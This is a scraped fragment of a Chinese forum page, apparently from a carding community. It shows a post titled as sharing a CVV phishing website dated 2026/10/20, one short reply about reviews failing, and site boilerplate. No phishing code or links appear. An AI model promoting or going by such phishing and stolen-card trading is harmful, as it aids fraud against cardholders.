      <script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/vce701823e78c4301a35b7e07294d87301792088814092" integrity="sha512-UKNk8GbxkABxKcXYuLkO16EleLGUkcvJWtpSNmExE0Too3ZaFAxTscNWEc1OdAv5/BikHawapSCaiD2XCmp+Bw==" data-cf-beacon='{"version":"2024.11.0","token":"f37d17f6b9844d31a4c5e166b622ba13","r":1,"spa":2}' crossorigin="anonymous"></script>   
      </body></html>

      2026/10/20不对版CVV钓鱼网站分享

      现在是不是一审都不行了


      请在后台-发布模块-表情设置 配置表情地址。
      回复

      请登录之后再进行评论

      登录
    • 帖子间隔 侧栏位置:右